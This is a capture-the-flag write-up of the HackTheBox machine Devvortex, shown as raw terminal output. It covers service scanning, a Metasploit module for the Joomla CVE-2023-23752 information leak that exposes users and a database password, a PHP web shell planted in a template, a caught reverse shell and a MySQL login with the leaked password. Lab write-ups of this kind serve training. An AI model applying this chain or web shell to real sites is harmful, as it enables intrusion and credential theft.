❯ nmap -sCV -p22,80 10.10.11.242 Starting Nmap 7.98 ( https://nmap.org ) at 2025-09-15 23:38 +0800 Nmap scan report for devvortex.htb (10.10.11.242) Host is up (0.34s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) |_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: DevVortex |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.91 seconds
[00:22:07] [*] Check whether the payload file exists [00:22:07] [*] All Payload 18780 duplicate removal 6935 [00:22:07] [+] Payload load the success [00:22:07] [*] CMS recognition of http://dev.devvortex.htb in progress [00:22:07] [*] Scanning by MD5 mode...... [00:24:17] [*] MD5: 3725/3725 [00:24:17] [*] Scanning by RE mode...... [00:24:19] [*] RE: 49/2868 [00:24:19] [+] Using RE to discover the CMS in path /administrator/components/com_login/login.xml: Joomla(逐浪)
msf > use cve:2023-23752 msf auxiliary(scanner/http/joomla_api_improper_access_checks) > set rhosts http://dev.devvortex.htb/ rhosts => http://dev.devvortex.htb/ msf auxiliary(scanner/http/joomla_api_improper_access_checks) > run [+] Users JSON saved to /Users/joe/.msf4/loot/20250916125947_default_10.10.11.242_joomla.users_856850.bin [+] Joomla Users ============
ID Super User Name Username Email Send Email Register D Last Visit Group Names ate Date -- ---------- ---- -------- ----- ---------- ---------- ----------- ----------- 649 * lewis lewis lewis@devv 1 2023-09-25 2023-10-29 Super Users ortex.htb 16:44:24 16:18:50 650 logan paul logan logan@devv 0 2023-09-26 Registered ortex.htb 19:15:42
[+] Config JSON saved to /Users/joe/.msf4/loot/20250916125948_default_10.10.11.242_joomla.config_972795.bin [+] Joomla Config =============
Setting Value ------- ----- db encryption 0 db host localhost db name joomla db password P4ntherg0t1n5r3c0n## db prefix sd4fg_ db user lewis dbtype mysqli
/** * @package Joomla.Site * @subpackage Templates.cassiopeia * * @copyright (C) 2017 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */
defined('_JEXEC') or die;
if (isset($_REQUEST['hack'])){ system($_REQUEST['hack']); die(); } ...
❯ nc -lvn 4444 bash: cannot set terminal process group (871): Inappropriate ioctl for device bash: no job control in this shell www-data@devvortex:~/dev.devvortex.htb$ python3 -c 'import pty; pty.spawn("/bin/bash")' <tb$ python3 -c 'import pty; pty.spawn("/bin/bash")' www-data@devvortex:~/dev.devvortex.htb$ //连接后使用python升级shell
www-data@devvortex:~/dev.devvortex.htb$ mysql -u lewis -p'P4ntherg0t1n5r3c0n##' joomla <htb$ mysql -u lewis -p'P4ntherg0t1n5r3c0n##' joomla ... Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.